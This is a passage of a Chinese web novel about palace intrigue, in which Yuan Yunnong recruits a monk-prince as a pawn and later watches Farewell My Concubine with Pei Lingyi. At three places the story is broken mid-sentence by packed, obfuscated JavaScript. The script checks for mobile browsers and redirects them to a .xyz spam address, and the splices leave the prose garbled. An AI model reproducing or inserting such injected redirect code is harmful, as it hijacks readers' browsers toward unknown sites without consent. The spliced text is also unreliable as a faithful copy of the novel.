“多谢二位。”元韫浓再次感谢,郑重其事地道,“我必然将二位今日之言,放在心上。” 云水**摆了摆手,“不必挂怀,你我既然有缘分,没事情也多来白云观瞧瞧。” 元韫浓笑道:“一定。” 她看了一眼外边的天色,“天色已晚,我便不多叨扰二位了,告辞。” 云水**笑着目送她离开。 “要再来一局吗?”等到元韫浓走后,云水**一边问灵慧大师,一边却已经在整理棋子了。 灵慧大师无奈摇头。 云水**兴致勃勃地问:“你真的不和我赌一把吗?” 灵慧大师不答,却反问:“你觉得,轩辕十四和心宿二,这两颗帝星遥遥相对。你觉得,那颗紫微星最终会偏向谁?” “胜利的那一方。”云水**回答。 “谁赢就会帮谁吗?”灵慧大师抬眼。 “她必胜无疑。”云水**笑,“她站在自己那边。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476456|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >灵慧大师问:“看来你对她很有信心,你很喜欢她吗?” 云水**挑眉,“显而易见。” 她捏着下巴思索,“裴氏和慕氏皇朝加起来,都没有出现过这样的星象。上回有这样的场面都是几百年前,还是几千年前了?” “先辈们留下的书籍记载,大概已经是楚乐皇朝昭阳女帝那会了。”灵慧大师回应道。 “你我此生能碰上这样的盛景,不该高兴吗?”云水**笑问,“多少人倾此一生都遇不上呢。” 灵慧大师叹气道:“可这也预示着,不是大盛就是大乱。” 云水**又落一子,“那我们就赌一把吧,看看她能不能搅得天翻地覆。” 元韫浓不断回想着今日发生的种种,分析着每个人的言行举止,权衡着利弊。 等到她走到屋檐下,发觉外边已经细细密密地落下了小雨。 镇国寺笼罩在一片烟雨朦胧中,青石板路上落满了细碎的梨花。 夜晚的寺院格外清寂,元韫浓轻轻叹息一声。 她沿着屋檐下的廊道走,想要去找惠贞长公主聊一聊。 远远地就能听见一阵轻微的争吵声隐隐传来。 再往前走,就是惠贞长公主厢房的北面了。 元韫浓眸光微闪。 她听到了惠贞长公主的声音,但却依然不真切,隐约间好像还有惠帝的声音。 在原地驻足片刻,她幽幽叹息一声,背过身,往反方向走去。 有些事情,她不能逼迫母亲,或许只能靠母亲自己想。 再往前几步,她看到裴令仪站在廊下,檐下的雨都滴落。 裴令仪撑着一把伞,眉眼静谧。 他薄唇不点而朱,仿若沾染了这春日里被雨打落的花瓣的色泽。 在苍白脸色的映衬下,显得格外妖冶。 “阿姊。”裴令仪穿过雨雾,朝着元韫浓走来。 最终驻足在元韫浓面前,他站在雨中,站在台阶下。 而元韫浓站在台阶上,低着头看他。 裴令仪仰起脸,望向元韫浓,“阿姊,下雨了,我想你没带伞,身边没带小鬟,便来接你。” 庭院中的几棵海棠树花瓣已开始飘落,但仍有几缕残花倔强地挂在枝头。 地上满是粉色的花瓣,宛如铺就了一层轻柔的花毯。 雨水透过稀疏的枝叶洒下,在灯火下犹如琉璃一般,光影斑驳,为宁静添了几分梦幻。 元韫浓神色复杂地凝视着裴令仪的脸庞,最终叹息一声,走进裴令仪的伞下。 “说来接我,怎么就只带一把伞?”元韫浓问。 裴令仪顿了顿,“雨下得急,出来时也急,便忘了。” “这也能忘?什么记性?”元韫浓轻嗤一声。 二人并肩路过许愿池。 这许愿池也是放生池,里边已经有荷叶刚刚探出水面,嫩绿的叶片小巧而鲜嫩,像一个个精巧的碧玉盘漂浮在水面。 池中鱼儿欢快游动,偶尔跃出水面,溅起一圈圈细小的涟漪,引得荷叶微微晃动。 “阿姊要许个愿吗?”裴令仪问。 “你今日倒是怎么看都不像不信鬼神了。”元韫浓愈发稀奇了。 裴令仪笑了笑,“我现在要开始信了,往后也都要信了。” “来都来了,阿姊也许一个吧。”他伸出手,递出一枚铜钱。 这倒也是,来都来了。元韫浓被说服了。 这四个字最有力了,毕竟来都来了。 于是她接过铜钱,想要许愿,但是一时心中两茫茫。 裴令仪像是看出她心中所想,“阿姊想不到许什么吗?” “一时间还没想好呢。”元韫浓仔细想想,想要的太多了。 “有人说,许愿时候想不到要许什么愿的人,必然是极其幸福的人。”裴令仪道。 元韫浓斜睨他一眼,“这个有人指的是你吗?” 裴令仪笑了,“阿姊怎么这般说我?” “好了,我现在想好了。”元韫浓终于想好了。 她在心中想,我要当皇后。 然后她把铜钱丢入了许愿池里。 元韫浓看向裴令仪,“到你了。” 裴令仪的心愿和在大雄宝殿里是一样的。 第33章 你不在乎我 昨日里淋了些雨,吹了点风,今日元韫浓便又要开始咳嗽了。 霜降在旁边唉声叹气,直说怪她没跟着元韫浓一起去。 得了病还能顺理成章不去见讨厌的人呢,还能美名其曰是怕过了病气。 元韫浓也没多在意。 惠贞长公主过来瞧了瞧,看元韫浓这又病了,尽管见怪不怪,但又唉声叹气。 她怨怪道:“也真是,可怜吾儿这样病弱,还要受累爬这山来祈福。” “阿娘,是我自个儿体弱。”元韫浓无奈道。 “在府上好好的,出来才受的罪。”惠贞长公主却不赞同。 千错万错,怎么可能是她女儿的错? 元韫浓抱着惠贞长公主的手臂撒娇,“既然阿娘心疼我,一会的药就别喝了。” “想都别想。”惠贞长公主论起这事那是铁面无私的,点着元韫浓的额头把人推远了,“药是必然要喝的。” “太苦了。”元韫浓瘪着嘴道。 惠贞长公主无奈道:“都多大了?喝点药还嫌苦?” “好了好了,顶多阿娘一会叫人下山去买点蜜渍杏脯来。”见元韫浓苦着张小脸,惠贞长公主只能道。 “还是阿娘最好了。”元韫浓露出笑容。 惠贞长公主也笑着点她鼻子,“你都多大了?还抱着阿娘撒娇呢?” 元韫浓脸不红心不跳,“也才五岁吧。” “真是不害臊。”惠贞长公主轻轻拧了一把她的脸颊。 迎着春光,裴令仪踏入门槛,向二人颔首,“长公主,阿姊。” 惠贞长公主脸上的笑意淡了几分,“五郎来了。” “听闻昨日阿姊受了凉,今日便咳得急了些,便来看看。”裴令仪道。 “唉,也好。”惠贞长公主叹了口气,“五郎你陪应怜玩会吧,我还要去礼佛。” 名义上她算裴令仪义母,身份上她是长公主,裴令仪却是清河王,不尴不尬,不亲不近。 她和裴令仪,同对待元韫浓的三个兄姐是一样的。 不亲近,但也不刻薄。 “好。”裴令仪垂目应下了。 惠贞长公主又嘱咐了元韫浓几句要好好吃药,不许偷偷倒进花盆里,才转身离开。 裴令仪看看外边的天光,“阿姊要出去走走吗?” “也好。”元韫浓也不想闷在厢房里。 她总觉得镇国寺的厢房不如自家舒坦,可惜了,就算是太后和惠帝也是住的这条件,她也没办法。 元韫浓起身同裴令仪一并朝外走去。 昨夜里雨疏风骤,残花一地,空气里还弥漫着湿意。 大雄宝殿的飞檐下,风铃在微风中轻轻摇曳,发出清脆悦耳的声响,与寺庙里悠悠的梵音交织在一起,萦绕在空气中。 殿前的香炉里,香烟袅袅升腾,融入暖阳与微风之中。 元韫浓驻足在昨夜的许愿池前,看着池中红白鲤鱼游动,“瞧着肉质肥美。” “我瞧也是。”裴令仪点头。 元韫浓又看远山,远山青翠。 二人看向群山,并未言语。 裴令仪突然说:“其实阿姊根本不在乎我吧。” 这句话突兀且没头没脑的。 元韫浓脸上没什么表情地转过头来,看着裴令仪,“谁跟你说的这句话?裴七?” “不是。”裴令仪笑了笑,“旁人都说我们关系很好,阿姊,我们关系确实很好。” 元韫浓好像确实在乎他,可是要是把他们分开,要他远离元韫浓,对于元韫浓而言也不是什么太难的事情。 只不过再过个几年,亦或者是十几年乃至几十年的时候,元韫浓半梦半醒时看见窗外摇曳的花枝,可能会想起及笄之年放在他手里的那一朵永生花。 裴令仪太清楚元韫浓的本质了,就像元韫浓知道他是什么货色一样。 他说:“但是这也不代表阿姊会在乎我,不是吗?” 元韫浓没有说话,她抬手摸上裴令仪的脸颊,曾经那道十字疤留下的地方。 她的话也一样突兀且没头没脑,“疤已经消失了,看不见了。” 裴令仪愣了愣。 元韫浓的手沿着裴令仪的侧脸滑动,顺着线条抚过他的睫毛,还有僵硬的唇角。 元韫浓的唇角动了一下。 裴令仪以为元韫浓终于要露出一点笑的时候,元韫浓毫无征兆地一巴掌扇在他脸上。 裴令仪被打偏过头去,愣愣地伸出手摸了一下脸。 元韫浓袖口的药苦似乎还萦绕在鼻尖,脸上还有些火辣的痛感,裴令仪回过脸看向元韫浓。 “所以就好了伤疤忘了疼吗?”元韫浓面无表情地问。 她几乎至始而终都带点淡淡的笑意,但在质疑的时候嘴角下压。 她的脸朝上微微扬起,眼神却居高临下地朝下看,这张柔弱又漂亮的脸上出现了压迫感。 “忘恩负义的东西。”她轻嗤一声,“你是在质问我吗?” 裴令仪低下头,温顺道:“不敢。” “你记着了,裴清都。”元韫浓紧盯着他,“别忘了你当时的誓言,你说你不需要饵食,不需要棚窝,甚至不需要墓碑。” “而我给了你这些,我也为你铭刻了墓碑,你现在是岐国公府的人,你就算中道崩殂也会有姓名有归属。”元韫浓说,“你现在也别奢望当初我没有承诺给你的东西,我什么都没有承诺。” 好冷酷啊。裴令仪望着元韫浓冷漠的眼睛心想。 漂亮的、冰冷的眼睛。 “我知道。”裴令仪说道。 他对元韫浓的阴晴不定和坏脾气,早已经**以为常。 说完话后,元韫浓又摸上裴令仪的脸,“打疼你了吗?” 她带点笑意地问:“要不要上点药?” “不疼。”裴令仪也笑了笑。 “看来是我手下留情了,记着疼才记着打。”元韫浓语气幽幽道。 裴令仪轻声说道:“我已经记着了。” 他眼帘低垂,透着一种晦涩难明的深邃。 “那最好了。”元韫浓放柔了语调,仿佛方才什么都没有发生那样,“我们接着往前边逛逛吧,清都。” “好。”裴令仪随着元韫浓向前。 前边穿过拱门,慕易遥就身着僧衣站在那里,目光复杂。 裴令仪像是并不意外那样,平静地直视着他。 他走近的时候,裴令仪就发觉了,只是元韫浓下一刻就一巴掌扇了上来。 元韫浓倒是有些意外,她并不习武,没有那个耳力,也没有那个警觉。 她微笑:“大表哥什么时候来的?” “在你扇他前一刻。”慕易遥实话实话。 “表哥说话真直接。”元韫浓感叹。 “出家人不打诳语。”慕易遥道,“我既然遁入空门,郡主还是直接叫我法号吧。” 元韫浓没理他,笑着说:“我们发生了一些小口角,表哥别放在心上。” 慕易遥扯了一下嘴角,“我离宫时很早,和郡主没见过面,据传闻一直以为郡主是个性情温顺的姑娘,没想到会因为口角锋芒动手。” “打是亲骂是爱,这是我们家里人表示亲爱的方式。”元韫浓笑意不达眼底,“清都,你说是不是?” “阿姊说的是。”裴令仪道。 慕易遥稀奇道:“那郡主真是爱到深处了,上来就打脸。” “那是自然。”元韫浓点头。 慕易遥看向裴令仪,“昨日你在大雄宝殿上的一番话语,似乎是很对太后娘娘充满了敌意啊。” 裴令仪不置可否。 “我倒是很好奇,你对我们太后娘娘的敌意从何而来?”慕易遥问,“是因为岐国公府,还是清河王府?亦或者是裴氏皇族?” 这话是能说的吗?元韫浓环顾四周,四下无人。 她面色稍变,“表哥,佛门中人,少说这些狂悖之论。” “哦,那我不用僧人的身份说这话,用皇子的身份说这话行吗?”慕易遥并无所谓。 元韫浓似笑非笑,“哦,我还以为表哥修行多年,早已放下红尘俗世了呢。” “红尘俗世容易放下,心中怨怼却放不下。”慕易遥嗤笑,“所以,我才来问清河王。” 慕易遥看向裴令仪,裴令仪波澜不惊。 “此为国仇,亦为家恨。”裴令仪平静地说道。 他要复国仇,也要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是。”慕易遥承认,“当时我的好三弟已经降世,我就已经没用了。” 原本只是因为惠帝没有孩子,皇后也没有自己的皇子,所以自小跟在皇后身边的丫鬟成了第一枚棋子。 皇后提拔她承宠,成为妃子,她也恰好怀上了龙种,生下了慕易遥。 棋子生下了棋子。 慕易遥一直都是皇后的筹码,直到皇后有了自己的孩子慕湖舟。 有了血脉相连的亲子,慕易遥就成了弃子。 “太后想要直接杀了你吧?”元韫浓笑了笑。 慕易遥与她对视,“是啊,可我命大。太后信佛,她设局要困杀老清河王夫妇,所以那几天镇国寺僧人提前就来宫中驱邪祈福。” 元韫浓都能猜到后续:“所以你跑了,跑出去恰好碰到了灵慧大师,跪在地上求他收你为弟子。出家人慈悲为怀,他不会拒绝你。” “对,你很聪明,朝荣表妹,你是我见过在这个年纪里最聪明的孩子了。”慕易遥感慨。 裴令仪冷笑:“惠帝和太后都信佛,有灵慧大师开口说你有机缘,惠帝尽管不舍也不会拒绝,再加上他也不会对太后的所作所为毫无所知。” “他太懦弱了,太后杀清河王夫妇,他可以视如无睹,这样他就可以把过错推给太后,把罪孽也推给太后。实际上他在心底暗暗窃喜呢。”元韫浓嘲笑。 这些年来,她可太清楚惠帝到底是个什么样的人了。 她道:“所以他连赶尽杀绝也不敢,却高兴将人任意磋磨,把清都困在眼皮子底下看着,清都越惨他越高兴。” 裴令仪接上元韫浓的话:“他想杀我父母,但他不想杀你,毕竟你是他第一个孩子,第一个皇子。” 他们几乎要将惠帝剖析得一干二净:“可他也不敢忤逆太后,所以他即使不情愿,也顺水推舟让你遁入空门。” “太后也会放你一马的,因为她最信鬼神了,你皈依佛门,她不好杀你。再加上你的母亲不能离宫,她还在皇后身边,他们会相信你不敢说的。”元韫浓说道。 他们你一言我一句。 慕易遥苦笑:“正如你们所说的那样,我的父皇是个混蛋。” “是啊,那你来问清都什么呢?想要知道的,你都知道了。”元韫浓挑眉。 慕易遥凝视他们二人,“我想要知道你们的立场。” “立场?”元韫浓笑了起来,“你想要什么立场?” “到底是我的三弟,还是五弟?”慕易遥问。 第34章 木秀于林 哦,这一点确实值得问一问。 元韫浓心想。 毕竟对于慕易遥而言,如果想要挣脱桎梏,接出自己的生母,彻底摆脱太后和皇后的控制,那就不能让慕湖舟登上皇位。 只要慕湖舟登基,太后和皇后的权势必然会抵达一个新的巅峰,那么他想要摆脱他们简直是痴人说梦。 他也不能寄托希望于惠帝,惠帝要是能行,几十年前就行了。 然而想要靠他自己,那就更难了。 他生母地位低微,母族不能给予他片点的帮助,不靠他接济就已经不错了。 他的才能也不是**挑一,他顶多只能算个聪明人。 放在他眼前的只有一条路,慕载物登基,又或者是改朝换代。 这二者取其一,自然是前者看着合理许多。 想要慕载物登基,那么元氏的态度就显得至关重要了起来。 太后和皇后的母族齐家,如今的当家人齐丞相是皇后的兄长,太后的侄儿,也就是慕湖舟的舅舅。 而向来是太后**的白家统领着东营军,太后和皇后还意图让白翩飞成为三皇子妃。 这两家必然站在慕湖舟身边。 慕载物的母族张家也是手握实权的,他们虽然不统管四军的其中之一,但是有自己的部曲。 掌控北营军的徐氏虽然没有明确站队,却隐隐倾向于慕载物。 统领西营军的孙家算是前朝旧势力,不参与他们慕南皇朝的权力斗争。 如此算来,慕湖舟略胜一筹,但胜负尚未知晓。 需要争夺的助力,重中之重就成了元氏,这个名义上的保皇派。 所以慕易遥才来试探的元韫浓和裴令仪,他需要知道他们的态度和立场。 因为元氏既和齐家是宿仇,又和张家是死敌。 “你猜猜看?”元韫浓笑吟吟地说。 慕易遥并不觉得好笑,“我希望你们至少不要偏向我的三弟。” 他希望元氏至少能够保持中立,而不是倒戈相向。 “你希望的事情就能实现吗?大表哥,你是远离京华权力的中心太久,所以迟钝了吗?”元韫浓笑出了声。 “你是站在他们了?你可别忘了,太后杀了你的外祖母,也杀了裴清都的爹娘,她和皇后现在想要的可还有你们自己的命。”慕易遥说。 “她们是刚开始这样的吗?”元韫浓不以为然。 一直以来,她的仇敌都是如此。 她不会因为旁人的三言两语而动摇,去改变自己的选择。 慕易遥神情复杂,“你是想要效仿楚乐女帝吗?” “啊,我是很喜欢她来着。”元韫浓眯着眼睛笑,“只是我没她那么远大的志向。” “后人说她放荡、纵欲、顽劣不堪。”慕易遥说,“你想要成为这样的人?” 元韫浓云淡风轻道:“难道没人说她大胆、明艳、不拘绳墨?” “她只是做了帝王会做的事情,世人却因为她是女子而苛责她。”元韫浓平静地说道,“她虽然身体不好,但却生机勃勃,我很羡慕她。” 慕易遥回想,对比起那个纸面上就已经浓墨重彩的女子,看着元韫浓说道:“你确实看着死气沉沉。” 元韫浓身上有那种鲜活的死气,犹如不动声色的游魂,坟冢边上艳丽的花。 “你说这些话,是想真和你娘当一辈子傀儡吗?”元韫浓笑意不改。 慕易遥神情微变,“你有法子吗?” “没有。”元韫浓回答,“但你可以换一条路走。” “哦,你所谓的路,就是你的路了?”慕易遥面无表情道,“你怎么敢保证,你可以帮我和我娘脱离太后和皇后的摆布?” “不可以。”元韫浓笑。 她的语气带有引诱:“但是与其将希望寄托于慕载物那样的混蛋能战胜慕湖舟,并且在登上皇位之后,能网开一面放过你和你娘,还不如指望我呢?” “你能做什么?”慕易遥问。 元韫浓反问:“那你能为我做什么呢?” “你想要的东西那么多,却不告诉我你自己的作用。”她的眼睛始终含着笑意。 她姿态散漫慵懒,“你有什么作用吗?你在以什么身份同我说话?是僧人,是皇子,还是表哥?” 慕易遥张了张嘴,发现自己无法给出答案。 “我来告诉你,你的身份。”元韫浓朝他伸出手,“一枚能令那老东西有片刻动容的棋子。” 那双手纤弱又修长,在偏漏檐下的光晖里散发着莹白的辉茫。 元韫浓问:“你要不要做这枚棋子?” 裴令仪注视着元韫浓伸出的那只手。 元韫浓总是这样漫不经心地,高高在上地递出手,像是救赎,也像是引诱。 但是无论如何,溺水的人都会拼命抓着这最后一根稻草。 哪怕他们都知道,这背后隐含的代价或许无法承受。 “一言为定。”慕易遥握住元韫浓的手,紧盯着眼前那张姣好的脸,“你要我怎么做?” 元韫浓露出笑容,“我要你在将来一个恰当的时机里,站出来演我编的皮影戏。” 在一个慕湖舟和慕载物的对峙摆到明面上,所有人的都能瞧见的时候。 慕易遥出现,扮演她的皮影人,念出她安排好的词句,走她设定的结尾。 和元韫浓、裴令仪背道相驰之前,慕易遥眸光闪烁,“我的好表妹,方才所言,你可真是谦虚了。” 元韫浓停下脚步,回首挑眉。 “你的志向或许没那位远大,野心可是不遑多让。”慕易遥称不上是夸奖还是讽刺。 但是元韫浓虚心接纳了,无论是夸奖还是责骂。 “多谢夸奖。”她笑了笑。 然后转过身,和裴令仪并肩向前走去,没再回头。 慕易遥看着二人的背影穿过一道又一道的月洞门,逐渐行远。 似乎是觉察到了一直如影随形的灼热视线,在又穿过一道月洞门时,裴令仪回头看了过来。 裴令仪眼瞳漆黑,眸光晦暗,眼神森冷,隐含警告。 仅仅是短短一瞬的视线,裴令仪就收回了目光,继续往前走去。 在那双眼睛里,慕易遥看不到丝毫温情,只有纯然的冷漠。 和野兽一样。 “真是好奇啊。”慕易遥是真的很好奇。 两个相似的人到底是凭借什么才能走到一起,必然是需要其中一个压抑本性。 * 春日状似短暂,夏日更胜一筹,眨眼之间,轻飘飘地就过去了。 沈川是有真才实学的,金龙殿上一鸣惊人,实打实的天子门生,今生照旧挣得一个探花郎。 那是沈川意气风发的时刻,春风得意马蹄疾,一日看尽京华花。 沈氏清贵人家,家风清正,家庭关系又不复杂,沈川又是一表人才,是不少氏族人家眼里的东床佳婿。 只是先前沈大人都一一以先立业,再成家的借口推拒了。 如今既然已经成了探花郎,那自然是媒婆踏破门槛。 只是沈川又推拒了,说是要先安家国,再定私人之事。 不少人觉得这是借口,元韫浓知道那是真的。 沈川正是这么一种人。 除了元氏和张氏之间的关系愈发势同水火之外,仿佛也没有什么不同的。 要紧的是,自打当时庄铭一事之后,一件小事上北凉就已经试探出了南朝的意思,乃至于惠帝的态度。 之后他们的态度就愈发恶劣,甚至刻意寻衅滋事。 北凉和南朝的关系更是直转急下。 北凉三番五次提出一些不合理的请求,与其说是请求倒不如说是要求。 例如说向南朝索要钱财,约定还款期限却是几十年后,还没有利息。 甚至在边疆屡屡发起冲突,反复骚扰。 就边境的百姓们所言,有不少山匪海盗都是北凉之人。 但凡南朝不满足北凉的要求,北凉便会进行言语威胁甚至一些小规模的骚扰行为,与边疆守军也偶有冲突。 有些冲突,甚至可以算是小打了一场,只是没有真的耍起狠来动真干戈,怕事情失去控制而一发不可收拾。 只要北凉在军事上取得优势后,就会立即企图通过外交讹诈等手段,从南朝这里获取更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476458|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多的物资和利益。 诉求一旦得不到满足,他们就会以**等方式来施加压力。 惠帝对这些事情头疼至极,发了好几次火,迁怒了一堆人,但却又没有办法。 到了后面,他甚至开始当甩手掌柜,将此事交由礼部尚书来办。 礼部尚书也是个人才,说是要和北凉修复关系交好,便开放了各种往来行商的渠道。 一时间大批北凉之人涌入南朝的繁华城中,就连京中也多了不少北凉的异族面孔。 他们态度野蛮,横行霸道,导致百姓怨声载道。 各方面的影响和挤压之下,慕湖舟和慕载物的争端也逐渐浮出了水面。 他们之间最本质的利益冲突。 慕湖舟表现出来的态度还算是温和,但是他身后的白家和齐家可就不是了。 尤其是白家,大有作为先锋的姿态。 尽管太后和皇后频频释放出意思,但是作为齐家此刻真正掌门人的齐丞相却没有流露出什么明显的表示。 在丞相的沉着之下,原本有些蠢蠢欲动的齐氏众人也只能暂且按捺住心思。 齐家的姿态反倒是让白家开始着急起来。 我都上了,你不冲可不行啊! 东营军统领来丞相府找丞相谈了好几次,有那么几回白翩飞也是一块跟着来的。 最后一回,白翩飞实在是受不了齐丞相不咸不淡的态度,直说了:“齐世伯,您何时才打算下场?” “小丫头年纪不大,性子倒是挺急的。”丞相眉头轻微地扬起了一下。 “别说就翩飞了,我也急。”东营军白统领叹了口气。 见白翩飞开了口,他就也实话实话了:“如今这局面我也不想多说了,放我在前面冲锋陷阵也就算了,齐兄你如今还不肯入场,那可就**道了。” “不是我不想,而是这事并非一蹴而就,需要从长计议。翩飞初生牛犊不怕虎,贤弟你怎么也这么沉不住气呢?”丞相摇头。 “世伯!您可是宰相!”白翩飞急切道,“我们白家统领东营军,还有什么可怕的?” 元韫浓都快要把她逼疯了,无论她走到哪里,元韫浓的影子似乎都跟随着她。 所有人都会提起元韫浓,哪怕是她亲娘都会在闲谈时无意之间谈起元韫浓。 要么就是与元韫浓有关的事情,或者有关的人。 当初慕湖舟在金明池上那一句“亲疏有别”,还有她无数次腆着脸上前想要和慕湖舟攀谈两句,慕湖舟那拒人于千里之外的礼貌态度,已经成了她这些天以来的梦魇。 只要战胜慕载物就好了,只要慕湖舟当了皇帝,一切都会好的。 皇后和太后不可能让元韫浓当慕湖舟的妻子。 就算慕湖舟喜欢元韫浓,那又怎么样? 白翩飞只能不断地这样提醒自己。 “那是权力,并非影响,影响和距离息息相关。”丞相却平静道。 他呷了一口茶,“老夫的确位极人臣,但终究是臣,在陛下、长公主乃至于郡主面前,都是臣。” “但惠贞长公主到底只是公主,她没有实权。”白翩飞眉头紧拧。 丞相扯动脸皮笑了一声:“长公主和郡主都没有实权,他们之所以举足轻重,正是因为微妙的君者身份,还有他们的话语能最快程度上达天听。” 白翩飞听着点头,攥紧了袖袍里的帕子。 是、是!她们的厉害之处,无非就是能告御状,把事情告诉陛下罢了。 丞相拍了拍白统领的肩膀,“贤弟稍安勿躁,那些人也得意不了多久了,不过是寒蝉僵鸟罢了。” “自古以来,天子近臣,都有一样的弊端。”他浑浊的眼睛里,坦露一丝精光。 白翩飞长舒一口气,“有世伯这句话,我和父亲也就能放下心来了。” 白统领捻着胡须点头,“木秀于林,风必摧之。” “这风可不只是外头的风。”丞相哼笑一声,“更可怕的地方是,我们的陛下也不一定容得下这样的外戚权臣。” 到了后头,封无可封,赏无可赏,不就只剩下了一条死路吗? 第35章 虞兮虞兮奈若何 北凉的面孔在街头巷尾时常能瞧见,隐隐有风雨欲来之势。 偏偏这时候惠帝下达圣旨,要岐国公领兵去**边境的**。 元韫浓可不觉得这是个好兆头。 因为惠帝前两天刚表示自己要去行宫参悟佛理,修养精神。 他这时候要离宫,还要带走惠贞长公主,再带东营军那么大一批人看护左右,多事之秋,底下还不知道怎么乱呢。 西营军和北营军因为战略需求,向来都是一西一北镇守在边疆的。 等到惠帝一走,京中本就只剩下元氏的南营军,如今还要派出去**边疆**。 要是这时候出了事,还该怎么办? 岐国公闭门不出,和元彻回,还有一众**的臣子门生一共讨论。 元韫浓想了想派了人去四处打听打听,看看那些北凉人的动向。 裴令仪倒是也很忙,少见人影。 他在做什么,元韫浓很少过问。 就元韫浓看来,反正她两头都下了注。 裴令仪若是能像前世那样当上帝王,倒也不错,至少她不用再看到太后、皇后,还有惠帝那副恶心的嘴脸了。 省得她还得想法子把人毒**。 正想着人呢,说曹操曹操到,裴令仪出现在了窗口。 “来了怎么不进门,到窗口干嘛?”元韫浓慵懒地抬眸,“跟我玩西厢记呢?” “阿姊又在说笑。”裴令仪弯了弯唇,“今日难得阿姊也得闲,可否陪我去听出戏?” 元韫浓扬眉,“什么戏?” 她以为是去看好戏呢。 “《霸王别姬》。”裴令仪道。 “哦。”元韫浓失去了兴致,原来是真戏曲,“那好吧。” 她起身,准备跟裴令仪一块去。 裴令仪又没什么朋友,孤家寡人一个,没见过什么比他还更适合做帝王了的。 除了她,裴令仪也没人可以叫了。 前世裴令仪不也是这样吗?没有亲友,连子嗣也没有,只有一个她。 她都嫌裴令仪生活单调,除了处理政务就是听乐曲,不然就是跟她一起。 这戏楼也是相当热闹,飞檐斗拱恰似振翅欲飞的玄鸟,戏台方方正正,不知道上演了多少场悲欢离合。 被小二领着上了包房,小满和裴九在外边守着,房内只剩下元韫浓和裴令仪二人。 锣鼓声起,丝竹悠扬。虞姬水袖轻飏,眉眼含情。项羽威风凛凛,气势磅礴。 唱念做打,一招一式都尽显功底。 元韫浓指尖轻轻摩挲着茶盏边缘,水纹漾开一圈涟漪,“霸王别姬,千古绝唱。” “想我虞姬,生长深闺,幼娴书剑。”元韫浓撑着下巴,轻声念道,笑了一声。 她回忆道:“我幼时看戏最可惜她,如此美貌才情,殉情也是可惜了。” 裴令仪笑了笑,“阿姊也是幼娴书剑,换了阿姊如此情境之下,许是换种选择。” 元韫浓谦虚地摆摆手,“幼娴书剑算不上,我又不会武,顶多是会段剑舞罢了。” 她这多愁多病身,学个骑射和剑舞都已经好不容易了。 “虞姬是情深。”元韫浓模棱两可般道。 裴令仪见她并没有明确说什么,便道:“为解项羽后顾之忧,帐中自刎,确实是深情。” “换了是我,活下去再说,别的不管。”元韫浓说。 裴令仪含了笑意,“是阿姊风格。” “那你呢?”元韫浓回过头,问他,“换了是你,如何选?” “霸王意气尽,贱妾何聊生。”裴令仪兀自笑了一声。 他转过脸认真道:“不会帐中自刎。” 元韫浓点头,“那就是跟我一样的选择。” “我该为那人耗尽我最后的骨血,拼尽所有让她活下去。”裴令仪却道,“我要助她过江东,无论成功与否,是否死在半途。” 他的眉目生得极好,说这话时,眸若墨玉寒潭,像是在说什么生死相许的誓言那般动人。 另一种霸王意气尽,贱妾何聊生。 为那个人战死,到最后一刻。 比殉情还要惨烈,还要偏执。 但倒是挺有裴令仪风格的。 元韫浓失神片刻,又玩笑:“要换了你这样的虞姬,霸王是前无颜面对江东父老,后无颜面对铁血美人了。” “阿姊净是说笑。”裴令仪无奈摇头。 前世裴令仪就喜欢听戏听曲,跟元韫浓吵得太过了,哄她的时候还唱过两句,也是霸王别姬。 这是裴令仪最爱听的。 戏台上的霸王正唱到:“虞兮虞兮奈若何——” 虞姬啊虞姬,我死后该如何安置你呢? 正如父母之爱子,则为之计深远。 爱一个人,则会为所爱之人谋划长远。 元韫浓看向裴令仪。 如果裴令仪前世是爱她的,那是为她计深远吗?好像是计过的。 她记起来了。 在她灌下红花汤后昏过去,清醒过来之前,裴令仪也是在她床边守了她很久的。 她打掉了他们的孩子,下的是狠药,再加上她本就羸弱,因此险些丧命。 意识模糊的时候,她好像记得沉默的宫殿,噤若寒蝉的太医,还有垂泪的帝王。 “没事了,没事了……”裴令仪握着她的手,替她擦拭汗水,眼泪也落在她脸上。 裴令仪的那滴眼泪就从她的眼角滑下去,没入鬓发之中。 好像重要的不是孩子,而是她的安危。 只是她都忘记了,只记得真正醒过来之后,和裴令仪的爱恨交错。 她温养了许久才恢复些,之后无所出。 裴令仪没有妃嫔,还没有子嗣,前朝的臣子们又步步紧逼。 裴令仪后来从旁系领了个四岁的稚子送到她跟前,问她喜不喜欢。 元韫浓自然是冷眼相待:“你是什么意思?” “喜欢吗?”裴令仪却问,“他才四岁,少不更事。若此时开始抚养,他会将你当做亲母来看。” “你要立他做太子?”元韫浓蹙眉,“太子的母亲是皇后。” 她还以为这是裴令仪从哪跟别人的生的小孩,这会抱回来要给铺路了。 裴令仪却说:“皇后的孩子是太子。” 如今想来,裴令仪或许不是给那孩子铺路,而是替她铺路。 不过那时候元韫浓没收下那个孩子,也没理解裴令仪的谋划。 结果还是一样的,裴令仪死后,她还是从旁系领了一个孩子过来做皇帝。 “虞兮虞兮奈若何……”元韫浓念着,低眸笑了一声。 这算是一语成谶吗? 裴令仪的英雄末路,元韫浓的红颜薄命。 